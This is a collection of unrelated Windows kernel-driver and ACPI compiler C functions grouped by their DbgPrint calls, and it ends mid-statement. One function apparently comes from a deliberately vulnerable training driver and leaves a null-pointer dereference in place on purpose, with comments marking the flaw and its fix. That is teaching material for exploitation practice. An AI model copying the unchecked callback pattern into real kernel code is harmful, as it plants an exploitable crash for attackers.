ACPI_PARSE_OBJECT * TrCreateAssignmentNode ( ACPI_PARSE_OBJECT *Target, ACPI_PARSE_OBJECT *Source) { ACPI_PARSE_OBJECT *TargetOp; ACPI_PARSE_OBJECT *SourceOp1; ACPI_PARSE_OBJECT *SourceOp2; ACPI_PARSE_OBJECT *Operator; DbgPrint (ASL_PARSE_OUTPUT, "\nTrCreateAssignmentNode Line [%u to %u] Source %s Target %s\n", Source->Asl.LineNumber, Source->Asl.EndLine, UtGetOpName (Source->Asl.ParseOpcode), UtGetOpName (Target->Asl.ParseOpcode)); TrSetNodeFlags (Target, NODE_IS_TARGET); switch (Source->Asl.ParseOpcode) { /* * Only these operators can be optimized because they have * a target operand */ case PARSEOP_ADD: case PARSEOP_AND: case PARSEOP_DIVIDE: case PARSEOP_INDEX: case PARSEOP_MOD: case PARSEOP_MULTIPLY: case PARSEOP_NOT: case PARSEOP_OR: case PARSEOP_SHIFTLEFT: case PARSEOP_SHIFTRIGHT: case PARSEOP_SUBTRACT: case PARSEOP_XOR: break; /* Otherwise, just create a normal Store operator */ default: goto CannotOptimize; } /* * Transform the parse tree such that the target is moved to the * last operand of the operator */ SourceOp1 = Source->Asl.Child; SourceOp2 = SourceOp1->Asl.Next; /* NOT only has one operand, but has a target */ if (Source->Asl.ParseOpcode == PARSEOP_NOT) { SourceOp2 = SourceOp1; } /* DIVIDE has an extra target operand (remainder) */ if (Source->Asl.ParseOpcode == PARSEOP_DIVIDE) { SourceOp2 = SourceOp2->Asl.Next; } TargetOp = SourceOp2->Asl.Next; /* * Can't perform this optimization if there already is a target * for the operator (ZERO is a "no target" placeholder). */ if (TargetOp->Asl.ParseOpcode != PARSEOP_ZERO) { goto CannotOptimize; } /* Link in the target as the final operand */ SourceOp2->Asl.Next = Target; Target->Asl.Parent = Source; return (Source); CannotOptimize: Operator = TrAllocateNode (PARSEOP_STORE); TrLinkChildren (Operator, 2, Source, Target); /* Set the appropriate line numbers for the new node */ Operator->Asl.LineNumber = Target->Asl.LineNumber; Operator->Asl.LogicalLineNumber = Target->Asl.LogicalLineNumber; Operator->Asl.LogicalByteOffset = Target->Asl.LogicalByteOffset; Operator->Asl.Column = Target->Asl.Column; return (Operator); }
VOID ExpWaitForResourceDdk ( IN PNTDDK_ERESOURCE Resource, IN PVOID Object ) /*++ Routine Description: The routine waits on the Resource's object to be set. If the wait is too long the current owners of the resoruce are boosted in priority. Arguments: Resource - Supplies the resource Object - Event or Semaphore to wait on Return Value: None --*/ { KIRQL OldIrql; NTSTATUS Status; ULONG i; Resource->ContentionCount += 1; i = 0; for (; ;) { Status = KeWaitForSingleObject ( Object, Executive, KernelMode, FALSE, &ExpTimeout ); if (Status != STATUS_TIMEOUT) { break; } if (i++ >= ExpResourceTimeoutCount) { i = 0; DbgPrint("Resource @ %lx\n", Resource); DbgPrint(" ActiveCount = %04lx Flags = %s%s%s\n", Resource->ActiveCount, IsOwnedExclusive(Resource) ? "IsOwnedExclusive " : "", "", IsExclusiveWaiting(Resource) ? "ExclusiveWaiter " : "" ); DbgPrint(" NumberOfExclusiveWaiters = %04lx\n", Resource->NumberOfExclusiveWaiters); DbgPrint(" Thread = %08lx, Count = %02x\n", Resource->OwnerThreads[0], Resource->OwnerCounts[0] ); DbgBreakPoint(); DbgPrint("EX - Rewaiting\n"); } // // Give owning thread(s) a priority boost // AcquireResourceLock( Resource, &OldIrql ); if (IsBoostAllowed(Resource) && IsOwnedExclusive(Resource)) { // // Only one thread, boost it // KeBoostPriorityThread((PKTHREAD) Resource->OwnerThreads[0], ERESOURCE_INCREMENT ); } ReleaseResourceLock( Resource, OldIrql ); // // Loop and wait some more // } // // Wait was statisfied // ASSERT(NT_SUCCESS(Status)); return ; }
/// <summary> /// Trigger the Null Pointer Dereference Vulnerability /// </summary> /// <param name="UserBuffer">The pointer to user mode buffer</param> /// <returns>NTSTATUS</returns> NTSTATUS TriggerNullPointerDereference(IN PVOID UserBuffer) { ULONG UserValue = 0; ULONG MagicValue = 0xBAD0B0B0; NTSTATUS Status = STATUS_SUCCESS; PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL; PAGED_CODE(); __try { // Verify if the buffer resides in user mode ProbeForRead(UserBuffer, sizeof(NULL_POINTER_DEREFERENCE), (ULONG)__alignof(NULL_POINTER_DEREFERENCE)); // Allocate Pool chunk NullPointerDereference = (PNULL_POINTER_DEREFERENCE) ExAllocatePoolWithTag(NonPagedPool, sizeof(NULL_POINTER_DEREFERENCE), (ULONG)POOL_TAG); if (!NullPointerDereference) { // Unable to allocate Pool chunk DbgPrint("[-] Unable to allocate Pool chunk\n"); Status = STATUS_NO_MEMORY; return Status; } else { DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG)); DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool)); DbgPrint("[+] Pool Size: 0x%X\n", sizeof(NULL_POINTER_DEREFERENCE)); DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference); } // Get the value from user mode UserValue = *(PULONG)UserBuffer; DbgPrint("[+] UserValue: 0x%p\n", UserValue); DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference); // Validate the magic value if (UserValue == MagicValue) { NullPointerDereference->Value = UserValue; NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback; DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Value); DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->Callback); } else { DbgPrint("[+] Freeing NullPointerDereference Object\n"); DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG)); DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference); // Free the allocated Pool chunk ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG); // Set to NULL to avoid dangling pointer NullPointerDereference = NULL; } #ifdef SECURE // Secure Note: This is secure because the developer is checking if // 'NullPointerDereference' is not NULL before calling the callback function if (NullPointerDereference) { NullPointerDereference->Callback(); } #else DbgPrint("[+] Triggering Null Pointer Dereference\n"); // Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability // because the developer is not validating if 'NullPointerDereference' is NULL // before calling the callback function NullPointerDereference->Callback(); #endif } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode(); DbgPrint("[-] Exception Code: 0x%X\n", Status); } return Status; }
static ACPI_STATUS CgAmlWriteWalk ( ACPI_PARSE_OBJECT *Op, UINT32 Level, void *Context) { /* * Print header at level 0. Alignment assumes 32-bit pointers */ if (!Level) { DbgPrint (ASL_TREE_OUTPUT, "Final parse tree used for AML output:\n"); DbgPrint (ASL_TREE_OUTPUT, "%*s Value P_Op A_Op OpLen PByts Len SubLen PSubLen OpPtr Child Parent Flags AcTyp Final Col L\n", 76, " "); } /* Debug output */ DbgPrint (ASL_TREE_OUTPUT, "%5.5d [%2d]", Op->Asl.LogicalLineNumber, Level); UtPrintFormattedName (Op->Asl.ParseOpcode, Level); if (Op->Asl.ParseOpcode == PARSEOP_NAMESEG || Op->Asl.ParseOpcode == PARSEOP_NAMESTRING || Op->Asl.ParseOpcode == PARSEOP_METHODCALL) { DbgPrint (ASL_TREE_OUTPUT, "%10.32s ", Op->Asl.ExternalName); } else { DbgPrint (ASL_TREE_OUTPUT, " "); } DbgPrint (ASL_TREE_OUTPUT, "%08X %04X %04X %01X %04X %04X %04X %04X %08X %08X %08X %08X %08X %04X %02d %02d\n", /* 1 */ (UINT32) Op->Asl.Value.Integer, /* 2 */ Op->Asl.ParseOpcode, /* 3 */ Op->Asl.AmlOpcode, /* 4 */ Op->Asl.AmlOpcodeLength, /* 5 */ Op->Asl.AmlPkgLenBytes, /* 6 */ Op->Asl.AmlLength, /* 7 */ Op->Asl.AmlSubtreeLength, /* 8 */ Op->Asl.Parent ? Op->Asl.Parent->Asl.AmlSubtreeLength : 0, /* 9 */ Op, /* 10 */ Op->Asl.Child, /* 11 */ Op->Asl.Parent, /* 12 */ Op->Asl.CompileFlags, /* 13 */ Op->Asl.AcpiBtype, /* 14 */ Op->Asl.FinalAmlLength, /* 15 */ Op->Asl.Column, /* 16 */ Op->Asl.LineNumber); /* Generate the AML for this node */ CgWriteNode (Op); return (AE_OK); }
static VOID _dump_context(PCONTEXT pc) { #ifdef _M_IX86 /* * Print out the CPU registers */ DbgPrint("CS:EIP %x:%x\n", pc->SegCs&0xffff, pc->Eip ); DbgPrint("DS %x ES %x FS %x GS %x\n", pc->SegDs&0xffff, pc->SegEs&0xffff, pc->SegFs&0xffff, pc->SegGs&0xfff); DbgPrint("EAX: %.8x EBX: %.8x ECX: %.8x\n", pc->Eax, pc->Ebx, pc->Ecx); DbgPrint("EDX: %.8x EBP: %.8x ESI: %.8x ESP: %.8x\n", pc->Edx, pc->Ebp, pc->Esi, pc->Esp); DbgPrint("EDI: %.8x EFLAGS: %.8x\n", pc->Edi, pc->EFlags); #elif defined(_M_AMD64) DbgPrint("CS:RIP %x:%I64x\n", pc->SegCs&0xffff, pc->Rip ); DbgPrint("DS %x ES %x FS %x GS %x\n", pc->SegDs&0xffff, pc->SegEs&0xffff, pc->SegFs&0xffff, pc->SegGs&0xfff); DbgPrint("RAX: %I64x RBX: %I64x RCX: %I64x RDI: %I64x\n", pc->Rax, pc->Rbx, pc->Rcx, pc->Rdi); DbgPrint("RDX: %I64x RBP: %I64x RSI: %I64x RSP: %I64x\n", pc->Rdx, pc->Rbp, pc->Rsi, pc->Rsp); DbgPrint("R8: %I64x R9: %I64x R10: %I64x R11: %I64x\n", pc->R8, pc->R9, pc->R10, pc->R11); DbgPrint("R12: %I64x R13: %I64x R14: %I64x R15: %I64x\n", pc->R12, pc->R13, pc->R14, pc->R15); DbgPrint("EFLAGS: %.8x\n", pc->EFlags); #elif defined(_M_ARM) DbgPrint("PC: %08lx LR: %08lx SP: %08lx\n", pc->Pc); DbgPrint("R0: %08lx R1: %08lx R2: %08lx R3: %08lx\n", pc->R0, pc->R1, pc->R2, pc->R3); DbgPrint("R4: %08lx R5: %08lx R6: %08lx R7: %08lx\n", pc->R4, pc->R5, pc->R6, pc->R7); DbgPrint("R8: %08lx R9: %08lx R10: %08lx R11: %08lx\n", pc->R8, pc->R9, pc->R10, pc->R11); DbgPrint("R12: %08lx CPSR: %08lx FPSCR: %08lx\n", pc->R12, pc->Cpsr, pc->R1, pc->Fpscr, pc->R3); #else #error "Unknown architecture" #endif }
static void PrPreprocessInputFile ( void) { UINT32 Status; char *Token; char *ReplaceString; PR_DEFINE_INFO *DefineInfo; ACPI_SIZE TokenOffset; char *Next; int OffsetAdjust; PrGetNextLineInit (); /* Scan source line-by-line and process directives. Then write the .i file */ while ((Status = PrGetNextLine (Gbl_Files[ASL_FILE_INPUT].Handle)) != ASL_EOF) { Gbl_CurrentLineNumber++; Gbl_LogicalLineNumber++; if ((Status == ASL_WITHIN_COMMENT) || (Status == ASL_BLANK_LINE)) { goto WriteEntireLine; } /* Need a copy of the input line for strok() */ strcpy (Gbl_MainTokenBuffer, Gbl_CurrentLineBuffer); Token = PrGetNextToken (Gbl_MainTokenBuffer, PR_TOKEN_SEPARATORS, &Next); OffsetAdjust = 0; /* All preprocessor directives must begin with '#' */ if (Token && (*Token == '#')) { if (strlen (Token) == 1) { Token = PrGetNextToken (NULL, PR_TOKEN_SEPARATORS, &Next); } else { Token++; /* Skip leading # */ } /* Execute the directive, do not write line to output file */ PrDoDirective (Token, &Next); continue; } /* * If we are currently within the part of an IF/ELSE block that is * FALSE, ignore the line and do not write it to the output file. * This continues until an #else or #endif is encountered. */ if (Gbl_IgnoringThisCodeBlock) { continue; } /* Match and replace all #defined names within this source line */ while (Token) { DefineInfo = PrMatchDefine (Token); if (DefineInfo) { if (DefineInfo->Body) { /* This is a macro */ DbgPrint (ASL_DEBUG_OUTPUT, PR_PREFIX_ID "Matched Macro: %s->%s\n", Gbl_CurrentLineNumber, DefineInfo->Identifier, DefineInfo->Replacement); PrDoMacroInvocation (Gbl_MainTokenBuffer, Token, DefineInfo, &Next); } else { ReplaceString = DefineInfo->Replacement; /* Replace the name in the original line buffer */ TokenOffset = Token - Gbl_MainTokenBuffer + OffsetAdjust; PrReplaceData ( &Gbl_CurrentLineBuffer[TokenOffset], strlen (Token), ReplaceString, strlen (ReplaceString)); /* Adjust for length difference between old and new name length */ OffsetAdjust += strlen (ReplaceString) - strlen (Token); DbgPrint (ASL_DEBUG_OUTPUT, PR_PREFIX_ID "Matched #define: %s->%s\n", Gbl_CurrentLineNumber, Token, *ReplaceString ? ReplaceString : "(NULL STRING)"); } } Token = PrGetNextToken (NULL, PR_TOKEN_SEPARATORS, &Next); } Gbl_PreprocessorLineNumber++; WriteEntireLine: /* * Now we can write the possibly modified source line to the * preprocessor file(s). */ FlWriteFile (ASL_FILE_PREPROCESSOR, Gbl_CurrentLineBuffer, strlen (Gbl_CurrentLineBuffer)); } }
NTSTATUS DispatchIoctl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp) { NTSTATUS ntStatus=STATUS_UNSUCCESSFUL; PIO_STACK_LOCATION irpStack=NULL; LUID sedebugprivUID; ULONG IoControlCode; irpStack = IoGetCurrentIrpStackLocation(Irp); IoControlCode = irpStack->Parameters.DeviceIoControl.IoControlCode; switch(IoControlCode) { case IOCTL_CE_ULTIMAP2: { struct input { UINT32 PID; UINT32 Size; UINT32 RangeCount; UINT32 NoPMI; UINT32 UserMode; UINT32 KernelMode; URANGE Ranges[8]; WCHAR OutputPath[200]; } *inp = Irp->AssociatedIrp.SystemBuffer; int i; DbgPrint("IOCTL_CE_ULTIMAP2 V2"); for (i = 0; i < (int)(inp->RangeCount); i++) DbgPrint("%d=%p -> %p", i, (PVOID)inp->Ranges[i].StartAddress, (PVOID)inp->Ranges[i].EndAddress); SetupUltimap2(inp->PID, inp->Size, inp->OutputPath, inp->RangeCount, inp->Ranges, inp->NoPMI, inp->UserMode, inp->KernelMode); ntStatus = STATUS_SUCCESS; break; } case IOCTL_CE_ULTIMAP2_WAITFORDATA: { ULONG timeout = *(ULONG *)Irp->AssociatedIrp.SystemBuffer; PULTIMAP2DATAEVENT output = Irp->AssociatedIrp.SystemBuffer; DbgPrint("IOCTL_CE_ULTIMAP2_WAITFORDATA\n"); output->Address = 0; ntStatus = ultimap2_waitForData(timeout, output); break; } case IOCTL_CE_ULTIMAP2_LOCKFILE: { int cpunr = *(int *)Irp->AssociatedIrp.SystemBuffer; DbgPrint("IOCTL_CE_ULTIMAP2_LOCKFILE\n"); ultimap2_LockFile(cpunr); ntStatus = STATUS_SUCCESS; break; } case IOCTL_CE_ULTIMAP2_RELEASEFILE: { int cpunr = *(int *)Irp->AssociatedIrp.SystemBuffer; DbgPrint("IOCTL_CE_ULTIMAP2_RELEASEFILE\n"); ultimap2_ReleaseFile(cpunr); ntStatus = STATUS_SUCCESS; break; } case IOCTL_CE_ULTIMAP2_GETTRACESIZE: { DbgPrint("IOCTL_CE_ULTIMAP2_GETTRACESIZE\n"); *(UINT64*)Irp->AssociatedIrp.SystemBuffer = ultimap2_GetTraceFileSize(); ntStatus = STATUS_SUCCESS; break; } case IOCTL_CE_ULTIMAP2_RESETTRACESIZE: { DbgPrint("IOCTL_CE_ULTIMAP2_RESETTRACESIZE\n"); ultimap2_ResetTraceFileSize(); ntStatus = STATUS_SUCCESS; break; } case IOCTL_CE_ULTIMAP2_CONTINUE: { int cpunr=*(int*)Irp->AssociatedIrp.SystemBuffer; DbgPrint("IOCTL_CE_ULTIMAP2_CONTINUE\n"); ntStatus = ultimap2_continue(cpunr); break; } case IOCTL_CE_ULTIMAP2_FLUSH: { DbgPrint("IOCTL_CE_ULTIMAP2_FLUSH\n"); ntStatus = ultimap2_flushBuffers(); break; } case IOCTL_CE_ULTIMAP2_PAUSE: { DbgPrint("IOCTL_CE_ULTIMAP2_PAUSE\n"); ntStatus = ultimap2_pause(); break; } case IOCTL_CE_ULTIMAP2_RESUME: { DbgPrint("IOCTL_CE_ULTIMAP2_RESUME\n"); ntStatus = ultimap2_resume(); break; } case IOCTL_CE_DISABLEULTIMAP2: { DbgPrint("IOCTL_CE_DISABLEULTIMAP2\n"); DisableUltimap2(); break; } default: DbgPrint("Ultimap driver: Unhandled IO request: %x\n", IoControlCode); break; } Irp->IoStatus.Status = ntStatus; // Set # of bytes to copy back to user-mode... if (irpStack) //only NULL when loaded by dbvm { if (ntStatus == STATUS_SUCCESS) Irp->IoStatus.Information = irpStack->Parameters.DeviceIoControl.OutputBufferLength; else Irp->IoStatus.Information = 0; IoCompleteRequest(Irp, IO_NO_INCREMENT); } return ntStatus; }
NTSTATUS AnlgCaptureFilterCreate(IN PKSFILTER Filter, IN PIRP Irp) { NTSTATUS Status = STATUS_SUCCESS; if(!Filter) { return STATUS_UNSUCCESSFUL; } if(!Irp) { return STATUS_UNSUCCESSFUL; } PKSDEVICE pKsDevice = KsFilterGetDevice(Filter); if(!pKsDevice) { return Status; } BOOL pPinDirection[5] = {FALSE, FALSE, TRUE, TRUE, TRUE}; KSPIN_MEDIUM pMediumList[5] = { { GUID_XBarPinMediumVideoOut, 0, 0 }, { GUID_XBarPinMediumAudioOut, 0, 0 }, { GUID_AnlgCapturePinMediumVideoOut, 0, 0 }, { GUID_AnlgCapturePinMediumAudioOut, 0, 0 }, { GUID_AnlgCapturePinMediumVBIOut, 0, 0 } }; GUID pCategoryList[5]; pCategoryList[0] = PINNAME_VIDEO_CAPTURE; pCategoryList[1] = PINNAME_VIDEO_CAPTURE; pCategoryList[2] = PINNAME_VIDEO_CAPTURE; pCategoryList[3] = PINNAME_VIDEO_CAPTURE; pCategoryList[4] = PINNAME_VIDEO_CAPTURE; DbgPrint("SWTANALOG-CaptureFilterCreate"); Status = KsRegisterFilterWithNoKSPins( pKsDevice->PhysicalDeviceObject, &KSCATEGORY_VIDEO, 5, pPinDirection, pMediumList, pCategoryList ); if(!NT_SUCCESS(Status)) { return Status; } return Status; }
static NTSTATUS VideoOutIntersectDataFormat( IN PVOID piKSFilter, //Pointer to KS filter structure. IN PIRP pIrp, //Pointer to data intersection //property request. IN PKSP_PIN pPinInstance, //Pinter to structure indicating //pin in question. IN PKSDATARANGE pCallerDataRange, //Pointer to the caller data //structure that should be //intersected. IN PKSDATARANGE pDescriptorDataRange, //Pointer to the descriptor data IN DWORD dwBufferSize, //Size in bytes of the target //buffer structure. For size //queries, this value will be zero. OUT OPTIONAL PVOID pData, //Pointer to the target data //structure representing the best //format in the intersection. OUT PDWORD pdwDataSize //Pointer to size of target data //format structure. ) { PKSFILTER pKSFilter = (PKSFILTER) piKSFilter; //invalid parameters? if( !pKSFilter || !pIrp || !pPinInstance || !pCallerDataRange || !pDescriptorDataRange || !pdwDataSize ) { DbgPrint("SWTANALOG-Capture VideoOut UNSUCCESSFUL"); return STATUS_UNSUCCESSFUL; } NTSTATUS Status = STATUS_UNSUCCESSFUL; //set output data size if (IsEqualGUID(pDescriptorDataRange->Specifier, KSDATAFORMAT_SPECIFIER_VIDEOINFO)) { //*** start intersection ***// //check if given datarange GUID matches to our datarange information if( pCallerDataRange->FormatSize != sizeof(KS_DATARANGE_VIDEO) ) { DbgPrint("SWTANALOG-Capture VideoOut NO_MATCH 1"); return STATUS_NO_MATCH; } //map given data ranges on video information structures //for some reason only a subpart of the KS_DATARANGE_VIDEO is used for intersection //this subpart is casted to KS_DATAFORMAT_VIDEOINFOHEADER and contains only //KSDATAFORMAT and KS_VIDEOINFOHEADER, see pTargetVideoDataRange PKS_DATARANGE_VIDEO pCallerVideoDataRange = reinterpret_cast <PKS_DATARANGE_VIDEO> (pCallerDataRange); PKS_DATARANGE_VIDEO pDescriptorVideoDataRange = reinterpret_cast <PKS_DATARANGE_VIDEO> (pDescriptorDataRange); PKS_DATAFORMAT_VIDEOINFOHEADER pTargetVideoDataRange = reinterpret_cast <PKS_DATAFORMAT_VIDEOINFOHEADER> (pData); //check if all other important fields match if( pCallerVideoDataRange->bFixedSizeSamples != pDescriptorVideoDataRange->bFixedSizeSamples || pCallerVideoDataRange->bTemporalCompression != pDescriptorVideoDataRange->bTemporalCompression || pCallerVideoDataRange->StreamDescriptionFlags != pDescriptorVideoDataRange->StreamDescriptionFlags || pCallerVideoDataRange->MemoryAllocationFlags != pDescriptorVideoDataRange->MemoryAllocationFlags || (RtlCompareMemory(&pCallerVideoDataRange->ConfigCaps, &pDescriptorVideoDataRange->ConfigCaps, sizeof(KS_VIDEO_STREAM_CONFIG_CAPS))) != sizeof(KS_VIDEO_STREAM_CONFIG_CAPS) ) { DbgPrint("SWTANALOG-Capture VideoOut NO_MATCH 2"); return STATUS_NO_MATCH; } { ULONG VideoHeaderSize = KS_SIZE_VIDEOHEADER( &pCallerVideoDataRange->VideoInfoHeader ); ULONG DataRangeSize = FIELD_OFFSET(KS_DATARANGE_VIDEO, VideoInfoHeader) + VideoHeaderSize; if ( VideoHeaderSize < pCallerVideoDataRange-> VideoInfoHeader.bmiHeader.biSize || DataRangeSize < VideoHeaderSize || DataRangeSize > pCallerVideoDataRange-> DataRange.FormatSize ) { DbgPrint("SWTANALOG-Capture VideoOut INVALID_PARAMETER 1"); return STATUS_INVALID_PARAMETER; } } ULONG FormatSize; FormatSize = sizeof(KSDATAFORMAT) + KS_SIZE_VIDEOHEADER (&pCallerVideoDataRange->VideoInfoHeader); *pdwDataSize = FormatSize; DbgPrint("SWTANALOG-Capture VideoOut DataSize %d", FormatSize); //check for size only query if( dwBufferSize == 0 ) { DbgPrint("SWTANALOG-Capture VideoOut BUFFER_OVERFLOW 1 "); return STATUS_BUFFER_OVERFLOW; } //check if output buffer size is sufficient if( dwBufferSize < *pdwDataSize ) { DbgPrint("SWTANALOG-Capture VideoOut TOO_SMALL 1"); return STATUS_BUFFER_TOO_SMALL; } //copy the data range structure from our decriptor into the target format buffer, //for some reason two different names where given to the same structure //KSDATARANGE equals exactly KSDATAFORMAT pTargetVideoDataRange->DataFormat = static_cast <KSDATAFORMAT> (pDescriptorVideoDataRange->DataRange); //as mentioned above the target data range structure differs from the //caller and the descriptor structures, so the size is also different //and has to be set correctly pTargetVideoDataRange->DataFormat.FormatSize = *pdwDataSize; //copy the video info header structure from the caller into the target //buffer,we have to check at this time whether the requested caller //video format fits our capabilities (not implemented right now) RtlCopyMemory( &pTargetVideoDataRange->VideoInfoHeader, &pCallerVideoDataRange->VideoInfoHeader, KS_SIZE_VIDEOHEADER (&pCallerVideoDataRange->VideoInfoHeader)); //If there is a format change (e.g. a new resolution) the size is not updated //automatically, so we have to calculate it here. There is a macro that multiplies //the width and height and that also aligns the size to DWORDs pTargetVideoDataRange->VideoInfoHeader.bmiHeader.biSizeImage = pTargetVideoDataRange->DataFormat.SampleSize = KS_DIBSIZE(pTargetVideoDataRange->VideoInfoHeader.bmiHeader); DbgPrint("SWTANALOG-Capture VideoOut success 1"); Status = STATUS_SUCCESS; } else if (IsEqualGUID(pDescriptorDataRange->Specifier, KSDATAFORMAT_SPECIFIER_VIDEOINFO2)) { //*** start intersection ***// //check if given datarange GUID matches to our datarange information if( pCallerDataRange->FormatSize != sizeof(KS_DATARANGE_VIDEO2) ) { DbgPrint("SWTANALOG-Capture VideoOut NO_MATCH 3"); return STATUS_NO_MATCH; } //map given data ranges on video information structures //for some reason only a subpart of the KS_DATARANGE_VIDEO is //used for intersection this subpart is casted to //KS_DATAFORMAT_VIDEOINFOHEADER and contains only //KSDATAFORMAT and KS_VIDEOINFOHEADER, see pTargetVideoDataRange PKS_DATARANGE_VIDEO2 pCallerVideoDataRange = reinterpret_cast <PKS_DATARANGE_VIDEO2> (pCallerDataRange); PKS_DATARANGE_VIDEO2 pDescriptorVideoDataRange = reinterpret_cast <PKS_DATARANGE_VIDEO2> (pDescriptorDataRange); PKS_DATAFORMAT_VIDEOINFOHEADER2 pTargetVideoDataRange = reinterpret_cast <PKS_DATAFORMAT_VIDEOINFOHEADER2> (pData); //check if all other important fields match if( pCallerVideoDataRange->bFixedSizeSamples != pDescriptorVideoDataRange->bFixedSizeSamples || pCallerVideoDataRange->bTemporalCompression != pDescriptorVideoDataRange->bTemporalCompression || pCallerVideoDataRange->StreamDescriptionFlags != pDescriptorVideoDataRange->StreamDescriptionFlags || pCallerVideoDataRange->MemoryAllocationFlags != pDescriptorVideoDataRange->MemoryAllocationFlags || (RtlCompareMemory(&pCallerVideoDataRange->ConfigCaps, &pDescriptorVideoDataRange->ConfigCaps, sizeof(KS_VIDEO_STREAM_CONFIG_CAPS))) != sizeof(KS_VIDEO_STREAM_CONFIG_CAPS) ) { DbgPrint("SWTANALOG-Capture VideoOut NO_MATCH 4"); return STATUS_NO_MATCH; } { ULONG VideoHeaderSize = KS_SIZE_VIDEOHEADER( &pCallerVideoDataRange->VideoInfoHeader ); ULONG DataRangeSize = FIELD_OFFSET(KS_DATARANGE_VIDEO, VideoInfoHeader) + VideoHeaderSize; if ( VideoHeaderSize < pCallerVideoDataRange-> VideoInfoHeader.bmiHeader.biSize || DataRangeSize < VideoHeaderSize || DataRangeSize > pCallerVideoDataRange-> DataRange.FormatSize ) { DbgPrint("SWTANALOG-Capture VideoOut INVALID_PARAMETER 2"); return STATUS_INVALID_PARAMETER; } } ULONG FormatSize; FormatSize = sizeof(KSDATAFORMAT) + KS_SIZE_VIDEOHEADER (&pCallerVideoDataRange->VideoInfoHeader); *pdwDataSize = FormatSize; //check for size only query if( dwBufferSize == 0 ) { DbgPrint("SWTANALOG-Capture VideoOut BUFFER_OVERFLOW 2"); return STATUS_BUFFER_OVERFLOW; } //check if output buffer size is sufficient if( dwBufferSize < *pdwDataSize ) { DbgPrint("SWTANALOG-Capture VideoOut TOO_SMALL 2"); return STATUS_BUFFER_TOO_SMALL; } //copy the data range structure from our decriptor into the target //format buffer, for some reason two different names where given //to the same structure KSDATARANGE equals exactly KSDATAFORMAT pTargetVideoDataRange->DataFormat = static_cast <KSDATAFORMAT> (pDescriptorVideoDataRange->DataRange); //as mentioned above the target data range structure differs from the //caller and the descriptor structures, so the size is also different //and has to be set correctly pTargetVideoDataRange->DataFormat.FormatSize = *pdwDataSize; //copy the video info header structure from the caller into the target //buffer, we have to check at this time whether the requested caller //video formatfits our capabilities (not implemented right now) RtlCopyMemory( &pTargetVideoDataRange->VideoInfoHeader2, &pCallerVideoDataRange->VideoInfoHeader, KS_SIZE_VIDEOHEADER (&pCallerVideoDataRange->VideoInfoHeader)); //If there is a format change (e.g. a new resolution) the size is //not updated automatically, so we have to calculate it here. //There is a macro that multiplies the width and height and that //also aligns the size to DWORDs pTargetVideoDataRange->VideoInfoHeader2.bmiHeader.biSizeImage = pTargetVideoDataRange->DataFormat.SampleSize = KS_DIBSIZE(pTargetVideoDataRange->VideoInfoHeader2.bmiHeader); DbgPrint("SWTANALOG-Capture VideoOut success 2"); Status = STATUS_SUCCESS; } else { *pdwDataSize = 0; DbgPrint("SWTANALOG-Capture VideoOut NO_MATCH 5"); Status = STATUS_NO_MATCH; } return Status; }
NDIS_STATUS MpSetMiniportAttributes( __in PHWT_ADAPTER Adapter ) { NDIS_STATUS ndisStatus = NDIS_STATUS_SUCCESS; NDIS_MINIPORT_ADAPTER_ATTRIBUTES miniportAttributes; NDIS_PM_CAPABILITIES pmCapabilities; NdisZeroMemory(&miniportAttributes, sizeof(miniportAttributes)); miniportAttributes.GeneralAttributes.Header.Type = NDIS_OBJECT_TYPE_MINIPORT_ADAPTER_GENERAL_ATTRIBUTES; miniportAttributes.GeneralAttributes.Header.Revision = NDIS_MINIPORT_ADAPTER_GENERAL_ATTRIBUTES_REVISION_2; miniportAttributes.GeneralAttributes.Header.Size = NDIS_SIZEOF_MINIPORT_ADAPTER_GENERAL_ATTRIBUTES_REVISION_2; miniportAttributes.GeneralAttributes.MediaType = NdisMedium802_3; miniportAttributes.GeneralAttributes.PhysicalMediumType = NdisPhysicalMediumUnspecified; miniportAttributes.GeneralAttributes.MtuSize = 1500; miniportAttributes.GeneralAttributes.MaxXmitLinkSpeed = XMIT_SPEED; miniportAttributes.GeneralAttributes.MaxRcvLinkSpeed = RECV_SPEED; miniportAttributes.GeneralAttributes.XmitLinkSpeed = RECV_SPEED; miniportAttributes.GeneralAttributes.RcvLinkSpeed = RECV_SPEED; miniportAttributes.GeneralAttributes.MediaConnectState = MediaConnectStateConnected; miniportAttributes.GeneralAttributes.MediaDuplexState = MediaDuplexStateFull; miniportAttributes.GeneralAttributes.LookaheadSize = 1500; NdisZeroMemory(&pmCapabilities, sizeof(NDIS_PM_CAPABILITIES)); pmCapabilities.Header.Type = NDIS_OBJECT_TYPE_DEFAULT; pmCapabilities.Header.Revision = NDIS_PM_CAPABILITIES_REVISION_1; pmCapabilities.Header.Size = NDIS_SIZEOF_NDIS_PM_CAPABILITIES_REVISION_1; miniportAttributes.GeneralAttributes.PowerManagementCapabilitiesEx = &pmCapabilities; miniportAttributes.GeneralAttributes.MacOptions = NDIS_MAC_OPTION_COPY_LOOKAHEAD_DATA | NDIS_MAC_OPTION_TRANSFERS_NOT_PEND | NDIS_MAC_OPTION_NO_LOOPBACK; miniportAttributes.GeneralAttributes.SupportedPacketFilters = NDIS_PACKET_TYPE_DIRECTED | NDIS_PACKET_TYPE_MULTICAST | NDIS_PACKET_TYPE_ALL_MULTICAST | NDIS_PACKET_TYPE_BROADCAST; miniportAttributes.GeneralAttributes.MaxMulticastListSize = 32; miniportAttributes.GeneralAttributes.MacAddressLength = sizeof(DOT11_MAC_ADDRESS); NdisMoveMemory( &miniportAttributes.GeneralAttributes.PermanentMacAddress, Adapter->CurrentAddress, sizeof(DOT11_MAC_ADDRESS)); NdisMoveMemory( &miniportAttributes.GeneralAttributes.CurrentMacAddress, Adapter->CurrentAddress, 